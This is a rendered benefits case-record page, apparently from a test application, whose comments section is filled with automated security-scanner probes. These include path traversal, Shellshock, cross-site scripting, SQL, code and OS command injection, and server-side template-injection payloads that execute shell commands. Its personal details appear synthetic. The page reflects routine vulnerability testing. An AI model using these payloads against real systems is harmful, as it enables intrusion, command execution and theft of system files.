Case Record: Linda Tran

Personal Information

Full Name
Linda Tran
Email
linda.tran@example.org
Case ID
CASE-88502
Date of Birth
1994-06-02
SSN
456-78-9012
Program
Medi-Cal

Status

Case Status
active
Monthly Benefit Amount
11111

API Access

JSON: /api/records/3

Benefit Issuance History

IDDescriptionStatusAmountPeriod
MC-2026-06Medi-Cal Managed Care CapitationApproved1180June 2026

Comments & Notes

Karen Woodard — 3/13/2026, 12:00:00 AM
Medi-Cal renewal processed. No gap in coverage.
ZAP — 7/2/2026, 11:03:14 PM
c:/Windows/system.ini — 7/2/2026, 11:08:18 PM
../../../../../../../../../../../../../../../../Windows/system.ini — 7/2/2026, 11:08:18 PM
c:\Windows\system.ini — 7/2/2026, 11:08:18 PM
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system.ini — 7/2/2026, 11:08:19 PM
/etc/passwd — 7/2/2026, 11:08:19 PM
../../../../../../../../../../../../../../../../etc/passwd — 7/2/2026, 11:08:19 PM
/ — 7/2/2026, 11:08:19 PM
../../../../../../../../../../../../../../../../ — 7/2/2026, 11:08:19 PM
c:/ — 7/2/2026, 11:08:19 PM
c:\ — 7/2/2026, 11:08:19 PM
WEB-INF/web.xml — 7/2/2026, 11:08:19 PM
WEB-INF\web.xml — 7/2/2026, 11:08:19 PM
/WEB-INF/web.xml — 7/2/2026, 11:08:19 PM
\WEB-INF\web.xml — 7/2/2026, 11:08:19 PM
thishouldnotexistandhopefullyitwillnot — 7/2/2026, 11:08:19 PM
ZAP — 7/2/2026, 11:08:19 PM
c:/Windows/system.ini
ZAP — 7/2/2026, 11:08:19 PM
../../../../../../../../../../../../../../../../Windows/system.ini
ZAP — 7/2/2026, 11:08:19 PM
c:\Windows\system.ini
ZAP — 7/2/2026, 11:08:19 PM
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system.ini
ZAP — 7/2/2026, 11:08:19 PM
/etc/passwd
ZAP — 7/2/2026, 11:08:19 PM
../../../../../../../../../../../../../../../../etc/passwd
ZAP — 7/2/2026, 11:08:19 PM
/
ZAP — 7/2/2026, 11:08:19 PM
../../../../../../../../../../../../../../../../
ZAP — 7/2/2026, 11:08:19 PM
c:/
ZAP — 7/2/2026, 11:08:19 PM
c:\
ZAP — 7/2/2026, 11:08:19 PM
WEB-INF/web.xml
ZAP — 7/2/2026, 11:08:19 PM
WEB-INF\web.xml
ZAP — 7/2/2026, 11:08:19 PM
/WEB-INF/web.xml
ZAP — 7/2/2026, 11:08:19 PM
\WEB-INF\web.xml
ZAP — 7/2/2026, 11:08:19 PM
thishouldnotexistandhopefullyitwillnot
http://www.google.com/ — 7/2/2026, 11:08:24 PM
http://www.google.com:80/ — 7/2/2026, 11:08:24 PM
http://www.google.com — 7/2/2026, 11:08:24 PM
http://www.google.com/search?q=ZAP — 7/2/2026, 11:08:24 PM
http://www.google.com:80/search?q=ZAP — 7/2/2026, 11:08:24 PM
www.google.com/ — 7/2/2026, 11:08:24 PM
www.google.com:80/ — 7/2/2026, 11:08:24 PM
www.google.com — 7/2/2026, 11:08:24 PM
www.google.com/search?q=ZAP — 7/2/2026, 11:08:24 PM
www.google.com:80/search?q=ZAP — 7/2/2026, 11:08:24 PM
ZAP — 7/2/2026, 11:08:24 PM
http://www.google.com/
ZAP — 7/2/2026, 11:08:24 PM
http://www.google.com:80/
ZAP — 7/2/2026, 11:08:24 PM
http://www.google.com
ZAP — 7/2/2026, 11:08:24 PM
http://www.google.com/search?q=ZAP
ZAP — 7/2/2026, 11:08:24 PM
http://www.google.com:80/search?q=ZAP
ZAP — 7/2/2026, 11:08:24 PM
www.google.com/
ZAP — 7/2/2026, 11:08:24 PM
www.google.com:80/
ZAP — 7/2/2026, 11:08:24 PM
www.google.com
ZAP — 7/2/2026, 11:08:24 PM
www.google.com/search?q=ZAP
ZAP — 7/2/2026, 11:08:24 PM
www.google.com:80/search?q=ZAP
() { :;}; echo 'x-powered-by: ShellShock-Vulnerable' — 7/2/2026, 11:08:28 PM
() { :;}; /bin/sleep 15 — 7/2/2026, 11:08:28 PM
ZAP — 7/2/2026, 11:08:28 PM
() { :;}; echo 'x-powered-by: ShellShock-Vulnerable'
ZAP — 7/2/2026, 11:08:28 PM
() { :;}; /bin/sleep 15
Anonymous — 7/2/2026, 11:08:42 PM
Anonymous — 7/2/2026, 11:08:42 PM
8342168875337364625.owasp.org — 7/2/2026, 11:08:46 PM
https://8342168875337364625.owasp.org — 7/2/2026, 11:08:47 PM
https://8342168875337364625%2eowasp%2eorg — 7/2/2026, 11:08:47 PM
5;URL='https://8342168875337364625.owasp.org' — 7/2/2026, 11:08:47 PM
URL='http://8342168875337364625.owasp.org' — 7/2/2026, 11:08:47 PM
https://8342168875337364625.owasp.org/?ZAP — 7/2/2026, 11:08:47 PM
5;URL='https://8342168875337364625.owasp.org/?ZAP' — 7/2/2026, 11:08:47 PM
https://\8342168875337364625.owasp.org — 7/2/2026, 11:08:47 PM
http://\8342168875337364625.owasp.org — 7/2/2026, 11:08:47 PM
ZAP — 7/2/2026, 11:08:47 PM
8342168875337364625.owasp.org
ZAP — 7/2/2026, 11:08:47 PM
https://8342168875337364625.owasp.org
ZAP — 7/2/2026, 11:08:47 PM
https://8342168875337364625%2eowasp%2eorg
ZAP — 7/2/2026, 11:08:47 PM
5;URL='https://8342168875337364625.owasp.org'
ZAP — 7/2/2026, 11:08:47 PM
URL='http://8342168875337364625.owasp.org'
ZAP — 7/2/2026, 11:08:47 PM
https://8342168875337364625.owasp.org/?
ZAP — 7/2/2026, 11:08:47 PM
5;URL='https://8342168875337364625.owasp.org/?'
ZAP — 7/2/2026, 11:08:47 PM
https://\8342168875337364625.owasp.org
ZAP — 7/2/2026, 11:08:47 PM
http://\8342168875337364625.owasp.org
<!--#EXEC cmd="ls /"--> — 7/2/2026, 11:08:51 PM
"><!--#EXEC cmd="ls /"-->< — 7/2/2026, 11:08:51 PM
<!--#EXEC cmd="dir \"--> — 7/2/2026, 11:08:51 PM
"><!--#EXEC cmd="dir \"-->< — 7/2/2026, 11:08:51 PM
ZAP — 7/2/2026, 11:08:51 PM
ZAP — 7/2/2026, 11:08:51 PM
"><
ZAP — 7/2/2026, 11:08:51 PM
ZAP — 7/2/2026, 11:08:51 PM
"><
0W45pz4p — 7/2/2026, 11:08:56 PM
</strong><scrIpt>alert(1);</scRipt><strong> — 7/2/2026, 11:08:56 PM
</strong><scrIpt>alert(1);</scRipt><strong> — 7/2/2026, 11:08:56 PM
</strong><img src=x onerror=prompt()><strong> — 7/2/2026, 11:08:56 PM
<img src=x onerror=prompt()> — 7/2/2026, 11:08:56 PM
<img src=x onerror=prompt()> — 7/2/2026, 11:08:56 PM
ZAP — 7/2/2026, 11:08:56 PM
0W45pz4p
ZAP — 7/2/2026, 11:08:56 PM
ZAP — 7/2/2026, 11:08:56 PM
ZAP — 7/2/2026, 11:08:56 PM
ZAP — 7/2/2026, 11:08:56 PM
ZAP — 7/2/2026, 11:08:56 PM
<img src=x onerror=prompt()>
ZAP — 7/2/2026, 11:08:56 PM
zApPX10sS — 7/2/2026, 11:08:57 PM
ZAP — 7/2/2026, 11:08:57 PM
zApPX12sS
ZAP — 7/2/2026, 11:09:01 PM
0W45pz4p — 7/2/2026, 11:09:06 PM
</strong><script>alert(1);</script><strong> — 7/2/2026, 11:09:06 PM
<img src=x onerror=alert(1);> — 7/2/2026, 11:09:06 PM
' — 7/2/2026, 11:09:08 PM
ZAP' — 7/2/2026, 11:09:08 PM
" — 7/2/2026, 11:09:08 PM
ZAP" — 7/2/2026, 11:09:08 PM
; — 7/2/2026, 11:09:08 PM
ZAP; — 7/2/2026, 11:09:08 PM
'( — 7/2/2026, 11:09:08 PM
ZAP'( — 7/2/2026, 11:09:08 PM
ZAP — 7/2/2026, 11:09:08 PM
ZAP — 7/2/2026, 11:09:08 PM
ZAP AND 1=1 -- — 7/2/2026, 11:09:08 PM
ZAP AND 1=2 -- — 7/2/2026, 11:09:08 PM
ZAP OR 1=1 -- — 7/2/2026, 11:09:08 PM
ZAP' AND '1'='1' -- — 7/2/2026, 11:09:08 PM
ZAP' AND '1'='2' -- — 7/2/2026, 11:09:08 PM
ZAP' OR '1'='1' -- — 7/2/2026, 11:09:08 PM
ZAP UNION ALL select NULL -- — 7/2/2026, 11:09:08 PM
ZAP' UNION ALL select NULL -- — 7/2/2026, 11:09:08 PM
ZAP" UNION ALL select NULL -- — 7/2/2026, 11:09:08 PM
ZAP) UNION ALL select NULL -- — 7/2/2026, 11:09:08 PM
ZAP') UNION ALL select NULL -- — 7/2/2026, 11:09:08 PM
ZAP — 7/2/2026, 11:09:08 PM
ZAP — 7/2/2026, 11:09:08 PM
'
ZAP — 7/2/2026, 11:09:08 PM
'
ZAP — 7/2/2026, 11:09:08 PM
"
ZAP — 7/2/2026, 11:09:08 PM
"
ZAP — 7/2/2026, 11:09:08 PM
;
ZAP — 7/2/2026, 11:09:08 PM
;
ZAP — 7/2/2026, 11:09:08 PM
'(
ZAP — 7/2/2026, 11:09:08 PM
'(
ZAP — 7/2/2026, 11:09:08 PM
ZAP — 7/2/2026, 11:09:08 PM
ZAP — 7/2/2026, 11:09:08 PM
AND 1=1 --
ZAP — 7/2/2026, 11:09:08 PM
AND 1=2 --
ZAP — 7/2/2026, 11:09:08 PM
OR 1=1 --
ZAP — 7/2/2026, 11:09:08 PM
' AND '1'='1' --
ZAP — 7/2/2026, 11:09:08 PM
' AND '1'='2' --
ZAP — 7/2/2026, 11:09:08 PM
' OR '1'='1' --
ZAP — 7/2/2026, 11:09:08 PM
UNION ALL select NULL --
ZAP — 7/2/2026, 11:09:08 PM
' UNION ALL select NULL --
ZAP — 7/2/2026, 11:09:08 PM
" UNION ALL select NULL --
ZAP — 7/2/2026, 11:09:08 PM
) UNION ALL select NULL --
ZAP — 7/2/2026, 11:09:08 PM
') UNION ALL select NULL --
ZAP — 7/2/2026, 11:09:08 PM
ZAP / sleep(15) — 7/2/2026, 11:09:13 PM
ZAP' / sleep(15) / ' — 7/2/2026, 11:09:13 PM
ZAP" / sleep(15) / " — 7/2/2026, 11:09:13 PM
ZAP and 0 in (select sleep(15) ) -- — 7/2/2026, 11:09:13 PM
ZAP' and 0 in (select sleep(15) ) -- — 7/2/2026, 11:09:13 PM
ZAP" and 0 in (select sleep(15) ) -- — 7/2/2026, 11:09:13 PM
ZAP where 0 in (select sleep(15) ) -- — 7/2/2026, 11:09:13 PM
ZAP' where 0 in (select sleep(15) ) -- — 7/2/2026, 11:09:13 PM
ZAP" where 0 in (select sleep(15) ) -- — 7/2/2026, 11:09:13 PM
ZAP or 0 in (select sleep(15) ) -- — 7/2/2026, 11:09:13 PM
ZAP — 7/2/2026, 11:09:13 PM
/ sleep(15)
ZAP — 7/2/2026, 11:09:13 PM
' / sleep(15) / '
ZAP — 7/2/2026, 11:09:13 PM
" / sleep(15) / "
ZAP — 7/2/2026, 11:09:13 PM
and 0 in (select sleep(15) ) --
ZAP — 7/2/2026, 11:09:13 PM
' and 0 in (select sleep(15) ) --
ZAP — 7/2/2026, 11:09:13 PM
" and 0 in (select sleep(15) ) --
ZAP — 7/2/2026, 11:09:13 PM
where 0 in (select sleep(15) ) --
ZAP — 7/2/2026, 11:09:13 PM
' where 0 in (select sleep(15) ) --
ZAP — 7/2/2026, 11:09:13 PM
" where 0 in (select sleep(15) ) --
ZAP — 7/2/2026, 11:09:13 PM
or 0 in (select sleep(15) ) --
; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' -- — 7/2/2026, 11:09:18 PM
'; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' -- — 7/2/2026, 11:09:18 PM
"; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' -- — 7/2/2026, 11:09:18 PM
); select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' -- — 7/2/2026, 11:09:18 PM
"java.lang.Thread.sleep"(15000) — 7/2/2026, 11:09:18 PM
ZAP / "java.lang.Thread.sleep"(15000) — 7/2/2026, 11:09:18 PM
ZAP' / "java.lang.Thread.sleep"(15000) / ' — 7/2/2026, 11:09:18 PM
ZAP" / "java.lang.Thread.sleep"(15000) / " — 7/2/2026, 11:09:18 PM
ZAP and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') -- — 7/2/2026, 11:09:18 PM
ZAP' and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') -- — 7/2/2026, 11:09:18 PM
ZAP — 7/2/2026, 11:09:18 PM
; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
ZAP — 7/2/2026, 11:09:18 PM
'; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
ZAP — 7/2/2026, 11:09:18 PM
"; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
ZAP — 7/2/2026, 11:09:18 PM
); select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
ZAP — 7/2/2026, 11:09:18 PM
"java.lang.Thread.sleep"(15000)
ZAP — 7/2/2026, 11:09:18 PM
/ "java.lang.Thread.sleep"(15000)
ZAP — 7/2/2026, 11:09:18 PM
' / "java.lang.Thread.sleep"(15000) / '
ZAP — 7/2/2026, 11:09:18 PM
" / "java.lang.Thread.sleep"(15000) / "
ZAP — 7/2/2026, 11:09:18 PM
and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') --
ZAP — 7/2/2026, 11:09:18 PM
' and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') --
(DBMS_SESSION.SLEEP(15)) — 7/2/2026, 11:09:22 PM
ZAP / (DBMS_SESSION.SLEEP(15)) — 7/2/2026, 11:09:22 PM
ZAP' / (DBMS_SESSION.SLEEP(15)) / ' — 7/2/2026, 11:09:22 PM
ZAP" / (DBMS_SESSION.SLEEP(15)) / " — 7/2/2026, 11:09:22 PM
ZAP and exists (DBMS_SESSION.SLEEP(15)) -- — 7/2/2026, 11:09:22 PM
ZAP — 7/2/2026, 11:09:22 PM
(DBMS_SESSION.SLEEP(15))
ZAP — 7/2/2026, 11:09:22 PM
/ (DBMS_SESSION.SLEEP(15))
ZAP — 7/2/2026, 11:09:22 PM
' / (DBMS_SESSION.SLEEP(15)) / '
ZAP — 7/2/2026, 11:09:22 PM
" / (DBMS_SESSION.SLEEP(15)) / "
ZAP — 7/2/2026, 11:09:22 PM
and exists (DBMS_SESSION.SLEEP(15)) --
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end — 7/2/2026, 11:09:26 PM
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end -- — 7/2/2026, 11:09:26 PM
'case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end -- — 7/2/2026, 11:09:26 PM
"case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end -- — 7/2/2026, 11:09:26 PM
ZAP / case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end — 7/2/2026, 11:09:26 PM
ZAP — 7/2/2026, 11:09:26 PM
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end
ZAP — 7/2/2026, 11:09:26 PM
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --
ZAP — 7/2/2026, 11:09:26 PM
'case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --
ZAP — 7/2/2026, 11:09:26 PM
"case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --
ZAP — 7/2/2026, 11:09:26 PM
/ case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end
ZAP WAITFOR DELAY '0:0:15' -- — 7/2/2026, 11:09:30 PM
ZAP' WAITFOR DELAY '0:0:15' -- — 7/2/2026, 11:09:30 PM
ZAP" WAITFOR DELAY '0:0:15' -- — 7/2/2026, 11:09:30 PM
ZAP) WAITFOR DELAY '0:0:15' -- — 7/2/2026, 11:09:30 PM
ZAP) ' WAITFOR DELAY '0:0:15' -- — 7/2/2026, 11:09:30 PM
ZAP) " WAITFOR DELAY '0:0:15' -- — 7/2/2026, 11:09:30 PM
ZAP)) WAITFOR DELAY '0:0:15' -- — 7/2/2026, 11:09:30 PM
ZAP)) ' WAITFOR DELAY '0:0:15' -- — 7/2/2026, 11:09:30 PM
ZAP)) " WAITFOR DELAY '0:0:15' -- — 7/2/2026, 11:09:30 PM
ZAP) WAITFOR DELAY '0:0:15' ( — 7/2/2026, 11:09:30 PM
ZAP — 7/2/2026, 11:09:30 PM
WAITFOR DELAY '0:0:15' --
ZAP — 7/2/2026, 11:09:30 PM
' WAITFOR DELAY '0:0:15' --
ZAP — 7/2/2026, 11:09:30 PM
" WAITFOR DELAY '0:0:15' --
ZAP — 7/2/2026, 11:09:30 PM
) WAITFOR DELAY '0:0:15' --
ZAP — 7/2/2026, 11:09:30 PM
) ' WAITFOR DELAY '0:0:15' --
ZAP — 7/2/2026, 11:09:30 PM
) " WAITFOR DELAY '0:0:15' --
ZAP — 7/2/2026, 11:09:30 PM
)) WAITFOR DELAY '0:0:15' --
ZAP — 7/2/2026, 11:09:30 PM
)) ' WAITFOR DELAY '0:0:15' --
ZAP — 7/2/2026, 11:09:30 PM
)) " WAITFOR DELAY '0:0:15' --
ZAP — 7/2/2026, 11:09:30 PM
) WAITFOR DELAY '0:0:15' (
ZAP — 7/2/2026, 11:09:33 PM
";print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var=" — 7/2/2026, 11:09:38 PM
';print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var=' — 7/2/2026, 11:09:38 PM
${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))} — 7/2/2026, 11:09:38 PM
${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}\ — 7/2/2026, 11:09:38 PM
;print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110)); — 7/2/2026, 11:09:38 PM
"+response.write(42,084*39,346)+" — 7/2/2026, 11:09:38 PM
+response.write({0}*{1})+ — 7/2/2026, 11:09:38 PM
response.write(42,084*39,346) — 7/2/2026, 11:09:38 PM
ZAP — 7/2/2026, 11:09:38 PM
";print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var="
ZAP — 7/2/2026, 11:09:38 PM
';print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var='
ZAP — 7/2/2026, 11:09:38 PM
${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}
ZAP — 7/2/2026, 11:09:38 PM
${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}\
ZAP — 7/2/2026, 11:09:38 PM
;print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));
ZAP — 7/2/2026, 11:09:38 PM
"+response.write(617,721*547,856)+"
ZAP — 7/2/2026, 11:09:38 PM
+response.write({0}*{1})+
ZAP — 7/2/2026, 11:09:39 PM
response.write(617,721*547,856)
cat /etc/passwd — 7/2/2026, 11:09:43 PM
ZAP&cat /etc/passwd& — 7/2/2026, 11:09:43 PM
ZAP;cat /etc/passwd; — 7/2/2026, 11:09:43 PM
ZAP"&cat /etc/passwd&" — 7/2/2026, 11:09:43 PM
ZAP";cat /etc/passwd;" — 7/2/2026, 11:09:43 PM
ZAP'&cat /etc/passwd&' — 7/2/2026, 11:09:43 PM
ZAP';cat /etc/passwd;' — 7/2/2026, 11:09:43 PM
type %SYSTEMROOT%\win.ini — 7/2/2026, 11:09:43 PM
ZAP&type %SYSTEMROOT%\win.ini — 7/2/2026, 11:09:43 PM
ZAP|type %SYSTEMROOT%\win.ini — 7/2/2026, 11:09:43 PM
ZAP"&type %SYSTEMROOT%\win.ini&" — 7/2/2026, 11:09:43 PM
ZAP"|type %SYSTEMROOT%\win.ini — 7/2/2026, 11:09:43 PM
ZAP'&type %SYSTEMROOT%\win.ini&' — 7/2/2026, 11:09:43 PM
ZAP'|type %SYSTEMROOT%\win.ini — 7/2/2026, 11:09:43 PM
get-help — 7/2/2026, 11:09:43 PM
ZAP;get-help — 7/2/2026, 11:09:43 PM
ZAP";get-help — 7/2/2026, 11:09:43 PM
ZAP';get-help — 7/2/2026, 11:09:43 PM
ZAP;get-help # — 7/2/2026, 11:09:43 PM
ZAP — 7/2/2026, 11:09:43 PM
cat /etc/passwd
ZAP — 7/2/2026, 11:09:43 PM
&cat /etc/passwd&
ZAP — 7/2/2026, 11:09:43 PM
;cat /etc/passwd;
ZAP — 7/2/2026, 11:09:43 PM
"&cat /etc/passwd&"
ZAP — 7/2/2026, 11:09:43 PM
";cat /etc/passwd;"
ZAP — 7/2/2026, 11:09:43 PM
'&cat /etc/passwd&'
ZAP — 7/2/2026, 11:09:43 PM
';cat /etc/passwd;'
ZAP — 7/2/2026, 11:09:43 PM
type %SYSTEMROOT%\win.ini
ZAP — 7/2/2026, 11:09:43 PM
&type %SYSTEMROOT%\win.ini
ZAP — 7/2/2026, 11:09:43 PM
|type %SYSTEMROOT%\win.ini
ZAP — 7/2/2026, 11:09:43 PM
"&type %SYSTEMROOT%\win.ini&"
ZAP — 7/2/2026, 11:09:43 PM
"|type %SYSTEMROOT%\win.ini
ZAP — 7/2/2026, 11:09:43 PM
'&type %SYSTEMROOT%\win.ini&'
ZAP — 7/2/2026, 11:09:43 PM
'|type %SYSTEMROOT%\win.ini
ZAP — 7/2/2026, 11:09:43 PM
get-help
ZAP — 7/2/2026, 11:09:43 PM
;get-help
ZAP — 7/2/2026, 11:09:43 PM
";get-help
ZAP — 7/2/2026, 11:09:43 PM
';get-help
ZAP — 7/2/2026, 11:09:43 PM
;get-help #
"' — 7/2/2026, 11:09:45 PM
<!-- — 7/2/2026, 11:09:45 PM
]]> — 7/2/2026, 11:09:45 PM
ZAP — 7/2/2026, 11:09:45 PM
"'
ZAP — 7/2/2026, 11:09:45 PM
]]>
zj 5206*2400 zj — 7/2/2026, 11:09:55 PM
zj{2724*7935}zj — 7/2/2026, 11:09:55 PM
zj${3756*5842}zj — 7/2/2026, 11:09:55 PM
zj#{9761*7945}zj — 7/2/2026, 11:09:55 PM
zj{#8532*5442}zj — 7/2/2026, 11:09:55 PM
zj{@2336*3370}zj — 7/2/2026, 11:09:56 PM
zj{{4381*4893}}zj — 7/2/2026, 11:09:56 PM
zj{{=1927*2729}}zj — 7/2/2026, 11:09:56 PM
zj<%=6882*7833%>zj — 7/2/2026, 11:09:56 PM
zj#set($x=4544*5716)${x}zj — 7/2/2026, 11:09:56 PM
zj<p th:text="${3189*5514}"></p>zj — 7/2/2026, 11:09:56 PM
zj{@math key="3137" method="multiply" operand="1385"/}zj — 7/2/2026, 11:09:56 PM
zj{{61990|add:21320}}zj — 7/2/2026, 11:09:56 PM
zj{{print "3863" "7356"}}zj — 7/2/2026, 11:09:56 PM
ZAP — 7/2/2026, 11:09:56 PM
zj 8371*8945 zj
ZAP — 7/2/2026, 11:09:56 PM
zj{3552*5263}zj
ZAP — 7/2/2026, 11:09:56 PM
zj${4301*8949}zj
ZAP — 7/2/2026, 11:09:56 PM
zj#{1922*1163}zj
ZAP — 7/2/2026, 11:09:56 PM
zj{#3457*1796}zj
ZAP — 7/2/2026, 11:09:56 PM
zj{@9885*6911}zj
ZAP — 7/2/2026, 11:09:56 PM
zj{{5459*5531}}zj
ZAP — 7/2/2026, 11:09:56 PM
zj{{=5504*4042}}zj
ZAP — 7/2/2026, 11:09:56 PM
zj<%=7231*3386%>zj
ZAP — 7/2/2026, 11:09:56 PM
zj#set($x=6948*3663)${x}zj
ZAP — 7/2/2026, 11:09:56 PM
zj

zj
ZAP — 7/2/2026, 11:09:56 PM
zj{@math key="9467" method="multiply" operand="3420"/}zj
ZAP — 7/2/2026, 11:09:56 PM
zj{{50730|add:55170}}zj
ZAP — 7/2/2026, 11:09:57 PM
zj{{print "4694" "8407"}}zj
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("sleep 15") } — 7/2/2026, 11:10:03 PM
#set($engine="") #set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 15")) #set($null=$proc.waitFor()) ${null} — 7/2/2026, 11:10:03 PM
{{= global.process.mainModule.require('child_process').execSync('sleep 15').toString() }} — 7/2/2026, 11:10:03 PM
<%= global.process.mainModule.require('child_process').execSync('sleep 15').toString()%> — 7/2/2026, 11:10:03 PM
#{global.process.mainModule.require('child_process').execSync('sleep 15').toString()} — 7/2/2026, 11:10:03 PM
{{range.constructor("return eval(\"global.process.mainModule.require('child_process').execSync('sleep 15').toString()\")")()}} — 7/2/2026, 11:10:03 PM
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("sleep 15")}} — 7/2/2026, 11:10:03 PM
${__import__("subprocess").check_output("sleep 15", shell=True)} — 7/2/2026, 11:10:03 PM
{{__import__("subprocess").check_output("sleep 15", shell=True)}} — 7/2/2026, 11:10:03 PM
<%=%x(sleep 15)%> — 7/2/2026, 11:10:03 PM
#{%x(sleep 15)} — 7/2/2026, 11:10:03 PM
{system("sleep 15")} — 7/2/2026, 11:10:03 PM
ZAP — 7/2/2026, 11:10:03 PM
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("sleep 15") }
ZAP — 7/2/2026, 11:10:03 PM
#set($engine="") #set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 15")) #set($null=$proc.waitFor()) ${null}
ZAP — 7/2/2026, 11:10:03 PM
{{= global.process.mainModule.require('child_process').execSync('sleep 15').toString() }}
ZAP — 7/2/2026, 11:10:03 PM
<%= global.process.mainModule.require('child_process').execSync('sleep 15').toString()%>
ZAP — 7/2/2026, 11:10:03 PM
#{global.process.mainModule.require('child_process').execSync('sleep 15').toString()}
ZAP — 7/2/2026, 11:10:03 PM
{{range.constructor("return eval(\"global.process.mainModule.require('child_process').execSync('sleep 15').toString()\")")()}}
ZAP — 7/2/2026, 11:10:03 PM
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("sleep 15")}}
ZAP — 7/2/2026, 11:10:03 PM
${__import__("subprocess").check_output("sleep 15", shell=True)}
ZAP — 7/2/2026, 11:10:03 PM
{{__import__("subprocess").check_output("sleep 15", shell=True)}}
ZAP — 7/2/2026, 11:10:03 PM
<%=%x(sleep 15)%>
ZAP — 7/2/2026, 11:10:03 PM
#{%x(sleep 15)}
ZAP — 7/2/2026, 11:10:03 PM
{system("sleep 15")}
ZAP&sleep 15.0& — 7/2/2026, 11:10:08 PM
ZAP;sleep 15.0; — 7/2/2026, 11:10:08 PM
ZAP"&sleep 15.0&" — 7/2/2026, 11:10:08 PM
ZAP";sleep 15.0;" — 7/2/2026, 11:10:08 PM
ZAP'&sleep 15.0&' — 7/2/2026, 11:10:08 PM
ZAP';sleep 15.0;' — 7/2/2026, 11:10:08 PM
ZAP&timeout /T 15.0 — 7/2/2026, 11:10:08 PM
ZAP|timeout /T 15.0 — 7/2/2026, 11:10:08 PM
ZAP"&timeout /T 15.0&" — 7/2/2026, 11:10:08 PM
ZAP"|timeout /T 15.0 — 7/2/2026, 11:10:08 PM
ZAP'&timeout /T 15.0&' — 7/2/2026, 11:10:08 PM
ZAP'|timeout /T 15.0 — 7/2/2026, 11:10:08 PM
ZAP;start-sleep -s 15.0 — 7/2/2026, 11:10:08 PM
ZAP";start-sleep -s 15.0 — 7/2/2026, 11:10:08 PM
ZAP';start-sleep -s 15.0 — 7/2/2026, 11:10:08 PM
ZAP;start-sleep -s 15.0 # — 7/2/2026, 11:10:08 PM
ZAP — 7/2/2026, 11:10:08 PM
&sleep 15.0&
ZAP — 7/2/2026, 11:10:08 PM
;sleep 15.0;
ZAP — 7/2/2026, 11:10:08 PM
"&sleep 15.0&"
ZAP — 7/2/2026, 11:10:08 PM
";sleep 15.0;"
ZAP — 7/2/2026, 11:10:08 PM
'&sleep 15.0&'
ZAP — 7/2/2026, 11:10:08 PM
';sleep 15.0;'
